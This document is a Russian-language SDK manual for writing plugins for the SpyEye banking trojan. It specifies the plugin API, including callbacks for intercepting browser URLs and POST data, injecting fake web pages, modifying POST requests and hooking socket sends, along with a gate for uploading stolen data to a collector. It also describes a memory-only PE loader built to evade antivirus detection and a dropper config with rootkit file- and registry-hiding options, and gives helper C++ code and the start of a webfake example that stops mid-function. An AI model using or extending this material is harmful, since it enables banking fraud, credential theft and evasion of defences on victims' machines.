SpyEye Plugin's SDK

Введение

Идея заключается в том, что функционал бота не должен быть ограничен его автором. Всвязи с этим, в SpyEye'е появилась поддержка подключаемых модулей (plugin'ов) сторонних разработчиков.

Т.е. у стороннего разработчика имеется возможность подключить программный код к трояну. При этом, "контейнером" этого кода служит DLL.

Плагин представляет собой два файла. Это, собственно, DLL и её конфиг. Именем файла DLL является название плагина. Имя файла конфига это имя файла DLL с постфиксом .cfg (например, если плагин называется socks.dll, то конфиг этого плагина должен называться socks.dll.cfg)

Конфиг плагина - это тектовый файл, контент которого является аргументом функции Init.

Всего, существуют 3 функции, которые обязательно должны быть объявлены в таблице экпорта DLL. Это Init, Start и Stop. Start и Stop нужны, чтобы управлять плагином из главной панели (см. соответствующее меню - Plugins).

Плагины подразделяются на два вида:

Для запуска плагинов, SpyEye не использует стандартный PE loader OS Windows, всвязи с тем, что Win API не предоставляет функций, для загрузки исполняемого файла из памяти (вынуждая при этом, сохранять DLL на диск и использовать ntdll!LdrLoadDll). Естественно, это не подходит нам, т.к. сигнатурные AV-сканеры будут detect'ить исполняемые файлы плагинов. Поэтому, SpyEye имеет собственный PE loader, чтобы запускать код плагинов из памяти, минуя dump на диск. Т.е. криптовать DLL плагина не нужно.

Плагины хранятся в конфиге бота. Это удобно, т.к. нет нужды цеплять плагин в исполняемый файл бота. Тем самым, можно сократить размер файла бота, храня тяжеловесные плагины в конфиге. Т.е. после запуска на машине holder'а, бот подтянет конфиг и запустит оттуда плагины.

API : Соглашение о вызовах

Соглашение о вызовах, используемое в функциях плагина, должно быть строго cdecl.

API : Init

BOOL Init(char *szConfig)

szConfig null-terminated строка, контент которой является конфигом плагина.

Функция единожды вызывается ботом, в контексте одного процесса. Вызов происходит в отдельном потоке.

API : Start

BOOL Start()

Вызов функции инициируется командой от gate'а главной панели управления. Вызов происходит в отдельном потоке.

API : Stop

BOOL Stop()

Вызов функции инициируется командой от gate'а главной панели управления. А также, в случае update'а конфига бота или update'а самого бота. Вызов происходит в отдельном потоке, кроме услучая с uninstall'ом плагина при обновлении конфига или исполняемого кода бота.

API : TakeGateToCollector

void TakeGateToCollector(void *lpGateFunc)

lpGateFunc

Указатель на функцию со следующим прототипом:

typedef void (*GATETOCOLLECTOR)(IN PBYTE pbData, IN DWORD dwSize)

Эту функцию может вызывать плагин, чтобы передать информацию в коллектор.

Протокол следующий:

[Null-Terminated-String:NameOfTable]
[DWORD:CountOfFields]
--- field1 ---
[Null-Terminated-String:NameOfField]
[DWORD:SizeOfField]
[BYTE-Array:FiledData]
---
--- field2 ---
...
---

Функция выполняется до вызова Init. Возвращается всего один параметр - указатель на функцию-gate, отправка данных через которую осуществляется в отдельном потоке.

Перед отправкой данных, нужно сконфигурировать коллектор определённым образом. А именно, в папку tables нужно положить *.sql файл со скриптом создания таблицы.

Например: table_test.sql

  1. CREATE TABLE IF NOT EXISTS `test` (
  2.   `id` INT(10) UNSIGNED NOT NULL AUTO_INCREMENT,
  3.   `test` VARCHAR(40) NOT NULL,
  4.   `date_rep` datetime NOT NULL,
  5.   PRIMARY KEY  (`id`)
  6. ) ENGINE=MyISAM  DEFAULT CHARSET=latin1 ;

При этом, если вызвать функцию-gate со следующими аргументами:

74 65 73 74 00 01 00 00 00 74 65 73 74 00 05 00 00 00 74 61 64 61 21

то Collector вставит эти данные в таблицу test. И, появится запись вида:

+----+-------+---------------------+
| id | test  | date_rep            |
+----+-------+---------------------+
| 1  | tada! | 2006-04-02 22:20:15 |
+----+-------+---------------------+

Для удобного генерирования аргументов функции-gate'а, можно написать какой-нибудь вспомогательный код вида:

includes.h:

  1. #include <windows.h>
  2.  
  3. // ---
  4.  
  5. #define InitializeListHead(ListHead) (\
  6.     (ListHead)->Flink = (ListHead)->Blink = (ListHead))
  7.  
  8. #define IsListEmpty(ListHead) \
  9.     ((ListHead)->Flink == (ListHead))
  10.  
  11. #define RemoveHeadList(ListHead) \
  12.     (ListHead)->Flink;\
  13. {RemoveEntryList((ListHead)->Flink)}
  14.  
  15. #define RemoveTailList(ListHead) \
  16.     (ListHead)->Blink;\
  17. {RemoveEntryList((ListHead)->Blink)}
  18.  
  19. #define RemoveEntryList(Entry) {\
  20.     PLIST_ENTRY _EX_Blink;\
  21.     PLIST_ENTRY _EX_Flink;\
  22.     _EX_Flink = (Entry)->Flink;\
  23.     _EX_Blink = (Entry)->Blink;\
  24.     _EX_Blink->Flink = _EX_Flink;\
  25.     _EX_Flink->Blink = _EX_Blink;\
  26. }
  27.  
  28. #define InsertTailList(ListHead,Entry) {\
  29.     PLIST_ENTRY _EX_Blink;\
  30.     PLIST_ENTRY _EX_ListHead;\
  31.     _EX_ListHead = (ListHead);\
  32.     _EX_Blink = _EX_ListHead->Blink;\
  33.     (Entry)->Flink = _EX_ListHead;\
  34.     (Entry)->Blink = _EX_Blink;\
  35.     _EX_Blink->Flink = (Entry);\
  36.     _EX_ListHead->Blink = (Entry);\
  37. }
  38.  
  39. #define InsertHeadList(ListHead,Entry) {\
  40.     PLIST_ENTRY _EX_Flink;\
  41.     PLIST_ENTRY _EX_ListHead;\
  42.     _EX_ListHead = (ListHead);\
  43.     _EX_Flink = _EX_ListHead->Flink;\
  44.     (Entry)->Flink = _EX_Flink;\
  45.     (Entry)->Blink = _EX_ListHead;\
  46.     _EX_Flink->Blink = (Entry);\
  47.     _EX_ListHead->Flink = (Entry);\
  48. }
  49.  
  50. #define PopEntryList(ListHead) \
  51.     (ListHead)->Next;\
  52. {\
  53.     PSINGLE_LIST_ENTRY FirstEntry;\
  54.     FirstEntry = (ListHead)->Next;\
  55.     if (FirstEntry != NULL) {     \
  56.     (ListHead)->Next = FirstEntry->Next;\
  57.     }                             \
  58. }
  59.  
  60. #define PushEntryList(ListHead,Entry) \
  61.     (Entry)->Next = (ListHead)->Next; \
  62.     (ListHead)->Next = (Entry)
  63.  

minisausage.h:

  1. #pragma once
  2.  
  3. #include "includes.h"
  4.  
  5. class CMiniSausage
  6. {
  7. public:
  8.         PLIST_ENTRY m_plMiniSausage;
  9.        
  10.         CMiniSausage()
  11.         {
  12.                 m_plMiniSausage = NULL;
  13.         }
  14.         bool AddField(PCHAR szFieldName, DWORD dwFieldSize, PBYTE pbData);
  15.         void FreeAll();
  16.         bool GetBuff(IN PCHAR szTableName, OUT PBYTE *lppbData, OUT PDWORD pdwDataSize);
  17. };
  18.  
  19. struct MiniSausage
  20. {
  21.         PCHAR szFieldName;
  22.         DWORD dwFieldSize;
  23.         PBYTE pbData;
  24.         // ---
  25.         LIST_ENTRY _p;
  26. };
  27. typedef MiniSausage *PMiniSausage;
  28. extern PLIST_ENTRY m_plMiniSausage;
  29. #define GetMiniSausageBuffer(ListEntryAddress) (PMiniSausage)((PBYTE)ListEntryAddress - (sizeof(MiniSausage) - sizeof(LIST_ENTRY)));

minisausage.cpp:

  1. #include "includes.h"
  2.  
  3. #include "minisausage.h"
  4.  
  5. bool CMiniSausage::AddField(PCHAR szFieldName, DWORD dwFieldSize, PBYTE pbData)
  6. {
  7.         PMiniSausage msTmp                              =       NULL;
  8.         DWORD dwFieldNameSize;
  9.  
  10.         do
  11.         {
  12.                 msTmp = (PMiniSausage)malloc(sizeof(MiniSausage));
  13.                 if (!msTmp)
  14.                         break;
  15.                 ZeroMemory(msTmp, sizeof(MiniSausage));
  16.                 dwFieldNameSize = (DWORD)strlen(szFieldName);
  17.                 if ( !(msTmp->szFieldName = (PCHAR)malloc(dwFieldNameSize + 1)) )
  18.                         break;
  19.                 strcpy(msTmp->szFieldName, szFieldName);
  20.                 if ( !dwFieldSize || !(msTmp->pbData = (PBYTE)malloc(dwFieldSize)) )
  21.                         break;
  22.                 msTmp->dwFieldSize = dwFieldSize;
  23.                 CopyMemory(msTmp->pbData, pbData, dwFieldSize);
  24.                 // ~~~
  25.                 if (!m_plMiniSausage)  {
  26.                         m_plMiniSausage = &msTmp->_p;
  27.                         InitializeListHead(m_plMiniSausage);
  28.                 }
  29.                 else {
  30.                         InsertHeadList(m_plMiniSausage->Blink, &msTmp->_p);
  31.                 }
  32.                 return true;
  33.         }
  34.         while (FALSE);
  35.  
  36.         if (msTmp) {
  37.                 free(msTmp->szFieldName);
  38.                 free(msTmp->pbData);
  39.         }
  40.         free(msTmp);
  41.         return false;
  42. }
  43.  
  44. void CMiniSausage::FreeAll()
  45. {
  46.         if (!m_plMiniSausage)
  47.                 return;
  48.         PMiniSausage pCurrent = NULL;
  49.  
  50.         for ( ; !IsListEmpty(m_plMiniSausage); free(pCurrent))
  51.         {
  52.                 pCurrent = GetMiniSausageBuffer(m_plMiniSausage->Blink);
  53.                 free(pCurrent->szFieldName);
  54.                 free(pCurrent->pbData);
  55.                 RemoveTailList(m_plMiniSausage);
  56.         }
  57.         if (!pCurrent)
  58.                 return;
  59.         pCurrent = GetMiniSausageBuffer(m_plMiniSausage);
  60.         free(pCurrent->szFieldName);
  61.         free(pCurrent->pbData);
  62.         free(pCurrent);
  63. }
  64.  
  65. bool CMiniSausage::GetBuff(IN PCHAR szTableName, OUT PBYTE *lppbData, OUT PDWORD pdwDataSize)
  66. {
  67.         PMiniSausage pCurrent;
  68.         DWORD dwFieldsCount;
  69.         // Counting size
  70.         *pdwDataSize = 0;
  71.         dwFieldsCount = 0;
  72.         for ( PLIST_ENTRY plTmp = m_plMiniSausage; plTmp != m_plMiniSausage || !*pdwDataSize; plTmp = plTmp->Flink, dwFieldsCount++ )
  73.         {
  74.                 pCurrent = GetMiniSausageBuffer(plTmp);
  75.                 *pdwDataSize += strlen(pCurrent->szFieldName) + 1;
  76.                 *pdwDataSize += sizeof(pCurrent->dwFieldSize);
  77.                 *pdwDataSize += pCurrent->dwFieldSize;
  78.         }
  79.         *pdwDataSize += strlen(szTableName) + 1;
  80.         *pdwDataSize += sizeof(dwFieldsCount);
  81.         // Making buffer
  82.         *lppbData = (PBYTE)malloc(*pdwDataSize);
  83.         if (!*lppbData)
  84.                 return false;
  85.         DWORD dwPointer = 0;
  86.         for ( PLIST_ENTRY plTmp = m_plMiniSausage; plTmp != m_plMiniSausage || !dwPointer; plTmp = plTmp->Flink )
  87.         {
  88.                 pCurrent = GetMiniSausageBuffer(plTmp);
  89.                 if (!dwPointer)
  90.                 {
  91.                         CopyMemory(*lppbData + dwPointer, szTableName, strlen(szTableName) + 1);
  92.                         dwPointer += strlen(szTableName) + 1;
  93.                         CopyMemory(*lppbData + dwPointer, &dwFieldsCount, sizeof(dwFieldsCount));
  94.                         dwPointer += sizeof(dwFieldsCount);
  95.                 }
  96.                 CopyMemory(*lppbData + dwPointer, pCurrent->szFieldName, strlen(pCurrent->szFieldName) + 1);
  97.                 dwPointer += strlen(pCurrent->szFieldName) + 1;
  98.                 CopyMemory(*lppbData + dwPointer, &pCurrent->dwFieldSize, sizeof(pCurrent->dwFieldSize));
  99.                 dwPointer += sizeof(pCurrent->dwFieldSize);
  100.                 CopyMemory(*lppbData + dwPointer, pCurrent->pbData, pCurrent->dwFieldSize);
  101.                 dwPointer += pCurrent->dwFieldSize;
  102.         }
  103.         return true;
  104. }

Пример использования:

sausage_sample.cpp:

  1.         CHAR szStr[] = { "tada!" };
  2.         PBYTE pbData;
  3.         DWORD dwBufferSize;
  4.  
  5.         CMiniSausage MiniSausage;
  6.         MiniSausage.AddField("test", sizeof(szStr) - 1, (PBYTE)szStr);
  7.         if (MiniSausage.GetBuff("test", &pbData, &dwBufferSize))
  8.         {
  9.                 // Sending data here
  10.         }
  11.         MiniSausage.FreeAll();

API : TakeGateToCollector2

void TakeGateToCollector2(void *lpGateFunc2)

Аналог функции TakeGateToCollector. Отличие лишь в том, что отправка данных выполняется в текущем, а не в дополнительном потоке.

API : TakeBotGuid

VOID TakeBotGuid(IN PCHAR szBotGuid)

szBotGuid

null-terminated строка, представляющая уникальный идентификатор бота.

* Максимальный размер - 80 символов

Функция выполняется до вызова Init.

API : TakeBotPath

VOID TakeBotPath(IN PCHAR szBotPath)

szBotPath

null-terminated строка, представляющая путь к исполняемому файлу бота.

* Максимальный размер - 260 символов

Функция выполняется до вызова Init.

API : TakeBotVersion

VOID TakeBotVersion(IN DWORD dwBotVersion)

dwBotVersion

Число, представляющее собой версию бота.

Чтобы получить текущую версию бота в удобочитаемом виде, нужно преобразовать это число к десятичному виду и проставить разделительные точки для каждого чётного разряда этого числа. Например:

0x0000283B -> 10299 -> "v1.2.99"

Функция выполняется до вызова Init.

API : GetState

DWORD GetState()

Return Value

Значения этого числа представляют собой состояние, в котором находится плагин. Различаются всего два состояния: OFF и ON. Соответственно:

  1. typedef enum {
  2.         PLUGIN_OFF,     // Плагин "выключен". Функция Start() не вызывалась
  3.         PLUGIN_ON       // Плагин "включён". Функция Start() вызывалась
  4. } PLUGINState;

Эта функция может использоваться плагином для предотвращения повторного вызова функций Start и Stop. Например, в случае вызова функции Start из функции Init (в случае автозапуска плагина), плагин может возвращать состояние PLUGIN_ON, чтобы предотвратить вызов функции Start, даже если команда прийдёт из панели управления.

API : KeepAlive

BOOL KeepAlive()

Return Value

Флаг возможности выгруза исполняемого кода плагин из адресного пространства его процесса.

Если плагин возвращает TRUE при вызове этой функции, то SpyEye не будет производить выгруза его исполняемого кода из текущего процесса при update'е конфига или исполняемого кода бота.

API : IsGlobal

BOOL IsGlobal()

Return Value

Флаг, определяющий нужно ли выполнять код плагина во всех доступных для инжектинга процессах.

API : Callback_OnBeforeProcessUrl

VOID Callback_OnBeforeProcessUrl(IN PCHAR szUrl, IN PCHAR szVerb, IN PCHAR szHeaders, IN PCHAR szPostVars, OUT PDWORD lpdwProcessMode)

szUrl

URL

szVerb

Тип запроса (GET или POST)

szHeaders

HTTP-заголовок запроса

szPostVars

В случае, если тип запроса = POST, то szPostVars содержит POST-параметры запроса

lpdwProcessMode

Указатель на DWORD-переменную, определяющую коллбэк, вызываемый для текущего ресурса.

Принимаемые значения:

  1. typedef enum {
  2.         DO_NOTHING,                     // Ничего не делать
  3.         PROCESS_BEFORELOADPAGE,         // Вызывать коллбэк Callback_OnBeforeLoadPage3 для текущего ресурса
  4.         PROCESS_AFTERLOADINGPAGE       // Вызывать коллбэк Callback_OnAfterLoadingPage для текущего ресурса
  5. } PROCESSMode;

API : Callback_OnBeforeLoadPage3

VOID Callback_OnBeforeLoadPage3(IN PCHAR szUrl, IN PCHAR szVerb, IN PCHAR szHeaders, IN PCHAR szPostVars, OUT PCHAR *lpszContent, OUT PDWORD lpdwSize)

szUrl

URL

szVerb

Тип запроса (GET или POST)

szHeaders

HTTP-заголовок запроса

szPostVars

В случае, если тип запроса = POST, то szPostVars содержит POST-параметры запроса

lpszContent

Указатель на null-terminated строку, в которой содержится fake'овый ответ вебсервера (вместе с HTTP-заголовком).

lpdwSize

Указатель на DWORD, в котором хранится размер строки, хранящийся по адресу lpszContent.

* Плагин собственным менеджером памяти должен выделить память и присвоить её адрес к указателю lpszContent. Следовательно, плагин должен предоставить адрес на функцию, которая будет освобождать память по этому адресу. Всвязи с этим, чтобы не было утечек памяти, плагин должен определить функцию FreeMem.

API : Callback_OnAfterLoadingPage

VOID Callback_OnAfterLoadingPage(IN PCHAR szUrl, IN PCHAR szVerb, IN PCHAR szHeaders, IN PCHAR szPageContent, OUT PCHAR * szOut, IN OUT PDWORD lpdwSize)

szUrl

URL

szVerb

Тип запроса (GET или POST)

szHeaders

HTTP-заголовок запроса

szPageContent

Контент страницы (без HTTP-заголовка)

szOut

Указатель на null-terminated строку, куда плагин может вернуть фейковый контент страницы (без HTTP-заголовка)

lpdwSize

Указатель на DWORD, в котором хранится размер szPageContent

* При использовании этого коллбэка, настоятельно рекомендуется объявить функцию FreeMem (причину см. в описании коллбэка Callback_OnBeforeLoadPage3)

* Данные страницы передаются в коллбэк ПОСЛЕ применения вебинжектов (если таковые были заданы в файле правил webinjects.txt)

API : Callback_ChangePostRequest

VOID Callback_ChangePostRequest(IN PCHAR szUrl, IN PCHAR szVerb, IN PCHAR szInPostVars, IN DWORD dwInPostVarsSize, OUT PCHAR * szOutPostVars, OUT PDWORD lpdwOutPostVarsSize)

szUrl

URL

szVerb

Тип запроса (GET или POST)

szInPostVars

null-terminated строка, в которой находятся параметры текущего POST-запроса

dwInPostVarsSize

DWORD, в котором хранится размер szInPostVars

szOutPostVars

Указатель на null-terminated строку, куда плагин может вернуть фейковые параметры POST-запроса

lpdwOutPostVarsSize

Указатель на DWORD, в котором хранится размер szOutPostVars

* При использовании этого коллбэка, настоятельно рекомендуется объявить функцию FreeMem (причину см. в описании коллбэка Callback_OnBeforeLoadPage3)

API : FreeMem

VOID FreeMem(IN LPVOID lpMem)

lpMem

Указатель на динамическую память, которая выделяется плагином.

API : TakeGetPage

VOID TakeGetPage(IN LPVOID lpGetPageFunc)

lpGetPageFunc

Указатель на функцию со следующим прототипом:

typedef BOOL (*GETPAGE)(IN PCHAR szURLPage, OUT PBYTE *lppbData, OUT PDWORD lpdwSize, IN PCHAR szHeaders)

Эта функция занимается скачиванием ресурсов по протоколу HTTP/HTTPS. Имеет следующие параметры:

szURLPage

URL загружаемого ресурса

lppbData

Указатель на PBYTE, указывающий на контент скаченного ресурса

lpdwSize

Указатель на DWORD, где хранится размер lppbData

szHeaders

null-terminated строка для отправки request-хедеров, при скачивании szURLPage.
Внимание! Если этот параметр не NULL, то в lppbData будут помещены и Response Headers

Return Value

Соответственно, функция возвращает TRUE в случае успеха и FALSE в случае неудачи

* Значения указателей lppbData & lpdwSize приравниваются к NULL до начала каких-либо действий.

Функция выполняется до вызова Init.

Если плагин использует lpGetPageFunc, то во избежание утечки памяти, плагину нужно будет удалить память выделенную по указателю lppbData. Для получения адреса функции, занимающейся освобождением памяти, нужно объявить коллбэк TakeFreeMem.

API : TakeGetPage2

VOID TakeGetPage2(IN LPVOID lpGetPage2Func)

lpGetPage2Func

Указатель на функцию со следующим прототипом:

BOOL GetPage2(IN PCHAR szUrl, IN PCHAR szVerb, IN PCHAR szRequestHeaders, IN BOOL bReadResponseHeaders, IN LPVOID lpOptional, DWORD dwOptionalLength, OUT PBYTE *pbData, OUT PDWORD dwSize)

Эта функция представляет собой расширенную версию ф-и GetPage(). Имеет следующие параметры:

szUrl

URL загружаемого ресурса

szVerb

Метод HTTP-запроса ("GET" либо "POST")

szRequestHeaders

null-terminated строка для отправки request-хедеров, при скачивании szUrl

bReadResponseHeaders

Флаг, определяющий нужно ли помещать Response-хедеры в pbData

lpOptional

Данные POST запроса (если в szVerb указан "POST")

dwOptionalLength

Размер lpOptional

lppbData

Указатель на PBYTE, указывающий на контент скаченного ресурса

lpdwSize

Указатель на DWORD, где хранится размер lppbData

Функция выполняется до вызова Init.

API : TakeFreeMem

VOID FreeMem(IN LPVOID lpFreeMemFunc)

lpFreeMemFunc

Указатель на функцию со следующим прототипом:

typedef VOID (*FREE)(IN LPVOID lpMem)

Функция освобождает динамическую память по указателю lpFreeMemFunc. Используется в менеджере памяти SpyEye.

Функция выполняется до вызова Init.

API : Callback___WS2_32___send

BOOL Callback___WS2_32___send(IN LPVOID lpOriginalFunction, IN SOCKET s, IN const char *buf, IN int size, IN int flags, OUT LPVOID lpReturn)

lpOriginalFunction

Указатель на функцию ws2_32!send

s, buf, size, flags

Аргументы функции ws2_32!send

lpReturn

Результат выполнения ws2_32!send

Return Value

Только если TRUE, то результат оригинальной ws2_32!send будет подменяться на *lpReturn

Подобный callback нужен, чтобы плагин имел возможность получать input и изменять output параметры функции ws2_32!send. Собственно, это следует из его названия.

Данный коллбэк создан во избежание конфликтов, если плагин захочет просплайсить функцию ws2_32!send.

API : TakeConfigCrc32Callback

VOID TakeConfigCrc32Callback(IN LPVOID lpFunc)

lpFunc

Указатель на функцию со следующим прототипом:

typedef BOOL (__cdecl *GETCONFIGCRC32)(OUT PDWORD pdwCrc32)

Эта функция может использоваться плагином для определения текущего CRC32 (идентификатора) файла конфига бота config.bin. Имеет следующие параметры:

pdwCrc32

Указатель на DWORD, в который пишется CRC32 конфига

Функция выполняется до вызова Init.

API : TakeBotExeMd5Callback

VOID TakeBotExeMd5Callback(IN LPVOID lpFunc)

lpFunc

Указатель на функцию со следующим прототипом:

typedef BOOL (__cdecl *GETBOTEXEMD5)(OUT PCHAR szMd5);

Эта функция может использоваться плагином для определения MD5 (идентификатора) главного исполяемого файла бота. Имеет следующие параметры:

szMd5

Указатель на null-terminated string, куда пишется MD5 exe'шника бота.
Строка должна иметь размер не меньше 33 байт

Функция выполняется до вызова Init.

API : TakePluginsListCallback

VOID TakePluginsListCallback(IN LPVOID lpFunc)

lpFunc

Указатель на функцию со следующим прототипом:

typedef BOOL (__cdecl *GETPLUGINSLIST)(OPTIONAL OUT PCHAR szPluginsList, IN OUT PDWORD pdwSize, OPTIONAL OUT PBOOL pblPluginsStat, IN OUT PDWORD pdwSizeStat);

Эта функция может использоваться плагином для получения информации о плагинах и их состояниях. Имеет следующие параметры:

szPluginsList

Указатель на null-terminated string, в которую пишется инфо о именах плагинах в своём конфиге.
Размерность строки можно определить, указав NULL для этого параметра. В этом случае, размерность результирующей строки запишется в параметр pdwSize (с учётом завершающего null-символа)

pdwSize

Указатель на DWORD, который определяет размер параметра szPluginsList

pblPluginsStat

Указатель на BOOL-массив, в который пишутся состояния плагинов (FALSE - плагин отключён; TRUE - плагин включён).
Размерность определяется по аналогии с szPluginsList

pdwSizeStat

Указатель на DWORD, который определяет размер параметра pblPluginsStat

Return Value

FALSE возвращается только в случае, если в szPluginsList или в pblPluginsStat не удалось поместить инфо. GetLastError() в таком случае вернёт ERROR_MORE_DATA

Функция выполняется до вызова Init.

API : TakeMainCpGateOutputCallback

VOID TakeMainCpGateOutputCallback(IN LPVOID lpFunc)

lpFunc

Указатель на функцию со следующим прототипом:

typedef VOID (__cdecl *MAINCPGATEOUTPUT)(IN PBYTE pbData, IN DWORD dwSize);

Плагин вызывает эту функцию, чтобы передать в бота инфо от главной панели управления. Кроме этого, плагин может формировать входные параметры, чтобы управлять ботом. Ф-я имеет следующие параметры:

pbData

Указатель на null-terminated string (ибо протокол общения бота с главной панелью управления - текстовый), которая содержит определённые команды.
Список команд, а также описание протокола смотрите в соответствующем разеделе FAQ

dwSize

Размерность pbData

Функция выполняется до вызова Init.

API : MainCpGateInput

Функция аналогична той, что используется в коллбэке TakeMainCpGateOutputCallback. Отличие в назначении. Бот вызывает её, когда хочет передать инфо главной панели управления

API : TakeUpdateBotExe

VOID TakeUpdateBotExe(IN LPVOID lpFunc)

lpFunc

Указатель на функцию со следующим прототипом:

typedef BOOL (__cdecl *UPDATEBOTEXE)(IN PBYTE pbData, IN DWORD dwSize, IN BOOL bUseBuildinPeLoader, IN BOOL bReplaceBotExe, IN DWORD dwTaskId);

Эта функция может использоваться плагином для обновления exe'шника бота. Имеет следующие параметры:

pbData

Указатель на данные exe'шника бота (данные должны иметь PE-формат).

dwSize

Размер pbData, в байтах.

bUseBuildinPeLoader

Если TRUE, то бот будет выполняться из памяти (с помощью PE-loader'а), без дампа на диск с использованием kernel32!CreateProcess().

bReplaceBotExe

Если TRUE, то бот заменит собственный exe'шник, без его запуска. Если FALSE и bUseBuildinPeLoader = FALSE, то exe'шник дампится в temp-dir'у, а затем запускается через kernel32!CreateProcess().

* Примечание. При использовании PE-loader'а, точка входа exe'шника должна иметь строго такой прототип:

typedef VOID (__stdcall *EMPTYENTRYPOINT)();

dwTaskId

Уникальный идентификатор задания, используемый ботом, для отправки информации о ходе его выполнения.

API : TakeUpdateConfig

VOID TakeUpdateConfig(IN LPVOID lpFunc)

lpFunc

Указатель на функцию со следующим прототипом:

typedef BOOL (__cdecl *UPDATECONFIG)(IN PBYTE pbData, IN DWORD dwSize, IN DWORD dwTaskId);

Эта функция может использоваться плагином для обновления config.bin'а. Имеет следующие параметры:

pbData

Указатель на данные config.bin'а бота.

dwSize

Размер pbData, в байтах.

dwTaskId

Уникальный идентификатор задания, используемый ботом, для отправки информации о ходе его выполнения.

API : TakeStartExe

VOID TakeStartExe(IN LPVOID lpFunc)

lpFunc

Указатель на функцию со следующим прототипом:

typedef BOOL (__cdecl *STARTEXE)(IN PBYTE pbData, IN DWORD dwSize, IN BOOL bUseBuildinPeLoader, IN DWORD dwTaskId);

Эта функция может использоваться плагином для запуска стороннего exe'шника. Имеет следующие параметры:

pbData

Указатель на данные exe'шника (данные должны иметь PE-формат).

dwSize

Размер pbData, в байтах.

bUseBuildinPeLoader

Если TRUE, то exe'шник будет выполняться из памяти (с помощью PE-loader'а), без дампа на диск с использованием kernel32!CreateProcess().

* Примечание. При использовании PE-loader'а, точка входа exe'шника должна иметь строго такой прототип:

typedef VOID (__stdcall *EMPTYENTRYPOINT)();

dwTaskId

Уникальный идентификатор задания, используемый ботом, для отправки информации о ходе его выполнения.

API : TakeGatePipeSendMsg

VOID TakeGatePipeSendMsg(IN LPVOID lpFunc)

lpFunc

Указатель на функцию со следующим прототипом:

typedef VOID (__cdecl *GATEPAGESENDMSG)(IN BOOL isOutput, IN PCHAR szMessage);

Эта функция может использоваться плагином для управления плагинами типа customconnector'а. С помощью неё можно управлять и любыми другими плагинами, соблюдая внутренний протокол бота, описанный в разделе о customconnector'е. Имеет следующие параметры:

isOutput

Если TRUE, то бот вызовет коллбэк MainCpGateOutput() в главном процессе.

Если FALSE, то бот вызовет коллбэки MainCpGateInput() в главном процессе.

szMessage

Сообщение, передаваемое в тот или иной коллбэк (определяемый через значение аргумента isOutput).

Shellcodes - низкоуровневые плагины

Эти плагины необходимы на этапе установки бота в систему. В v1.3 имеется всего два таких плагина.

Эти шеллкоды находятся в ресурсах exe'шника бота. Схема:

rsrc

Шеллкод, в качестве контейнера кода, был выбран не случайно. Его размер минимален (отсутствует PE-заголовок, отсутствуют какие-либо секции, таблица импорта) и его просто внедрять (не нужно настраивать ни релоки, ни таблицу импорта).

Итак, имеется низкоуровневый конфиг бота. Отчасти он задаётся в билдере, отчасти он формируется ConfigShellcode'ом. Структура конфига следующая:

  1. #pragma pack(push, 1)
  2.  
  3. struct TDropperConfig
  4. {
  5.     BYTE btReserved[4];
  6.     // Paths, files
  7.     CHAR szStartupExePath           [MAX_PATH];
  8.     CHAR szInstallDir               [MAX_PATH];
  9.     CHAR szBotFileName              [0x10];     // !add extension here
  10.     CHAR szConfigFileName           [0x10];
  11.     CHAR szBotUpdateFileName        [0x10];
  12.     CHAR szTempDir                  [MAX_PATH];
  13.     CHAR szLoaderExePrefix          [0x10];
  14.     // Guid
  15.     CHAR szBotGuid                  [0x40];
  16.     // Mutex
  17.     CHAR szBotMutex                 [0x20];
  18.     CHAR szUninstallMutex           [0x20];
  19.     CHAR szReloadConfigMutex        [0x20];
  20.     CHAR szReportAlreadySendedMutex [0x20];
  21.     // Enviroment variables
  22.     CHAR szConfigEncryptKeyVarName  [0x10];
  23.     // Rootkit options
  24.     CHAR szFilesToHide              [0x50];
  25.     BYTE btFilesToHidePointers      [0x10];
  26.     CHAR szRegKeysToHide            [0x50];
  27.     BYTE btRegKeysToHidePointers    [0x10];
  28. };
  29.  
  30. #pragma pack(pop)
  31.  

Итак, как происходит установка бота?

Как низкоуровневые плагины могут использоваться? Ну, например:

FAQ : Как реализовать webfakes?

Достаточно использовать 3 коллбэка:

В первом - плагин определяет - нужно ли возвращать фейковый контент для данного ресурса или нет.
Во втором - плагин возвращает фейковый контент.
В третьем - плагин освобождает выделеную память, которая использовалась для хранения фейкового контента.

Вот пример, демонстрирующий подмену картинки:

  1.  
  2. // HTTP/1.1 200 OK
  3. // Server: nginx
  4. // Date: Wed, 10 Nov 2010 19:22:35 GMT
  5. // Content-Type: image/jpeg
  6. // Last-Modified: Wed, 10 Nov 2010 18:58:13 GMT
  7. // Expires: Fri, 10 Dec 2010 19:22:35 GMT
  8. // Cache-Control: max-age=2592000, public
  9. // Accept-Ranges: bytes
  10. // Connection: close
  11. // Content-Length: 6445
  12. //
  13. // ...
  14.  
  15. unsigned char data[6736] = {
  16.         0x48, 0x54, 0x54, 0x50, 0x2F, 0x31, 0x2E, 0x31, 0x20, 0x32, 0x30, 0x30, 0x20, 0x4F, 0x4B, 0x0D,
  17.         0x0A, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x3A, 0x20, 0x6E, 0x67, 0x69, 0x6E, 0x78, 0x0D, 0x0A,
  18.         0x44, 0x61, 0x74, 0x65, 0x3A, 0x20, 0x57, 0x65, 0x64, 0x2C, 0x20, 0x31, 0x30, 0x20, 0x4E, 0x6F,
  19.         0x76, 0x20, 0x32, 0x30, 0x31, 0x30, 0x20, 0x31, 0x39, 0x3A, 0x32, 0x32, 0x3A, 0x33, 0x35, 0x20,
  20.         0x47, 0x4D, 0x54, 0x0D, 0x0A, 0x43, 0x6F, 0x6E, 0x74, 0x65, 0x6E, 0x74, 0x2D, 0x54, 0x79, 0x70,
  21.         0x65, 0x3A, 0x20, 0x69, 0x6D, 0x61, 0x67, 0x65, 0x2F, 0x6A, 0x70, 0x65, 0x67, 0x0D, 0x0A, 0x43,
  22.         0x6F, 0x6E, 0x74, 0x65, 0x6E, 0x74, 0x2D, 0x4C, 0x65, 0x6E, 0x67, 0x74, 0x68, 0x3A, 0x20, 0x36,
  23.         0x34, 0x34, 0x35, 0x0D, 0x0A, 0x4C, 0x61, 0x73, 0x74, 0x2D, 0x4D, 0x6F, 0x64, 0x69, 0x66, 0x69,
  24.         0x65, 0x64, 0x3A, 0x20, 0x57, 0x65, 0x64, 0x2C, 0x20, 0x31, 0x30, 0x20, 0x4E, 0x6F, 0x76, 0x20,
  25.         // ...
  26. };
  27.  
  28. DLLEXPORT void Callback_OnBeforeProcessUrl(IN PCHAR szUrl, IN PCHAR szVerb, IN PCHAR szHeaders, IN PCHAR szPostVars, OUT PDWORD lpdwProcessMode)
  29. {
  30.         if (!szUrl)
  31.                 return;
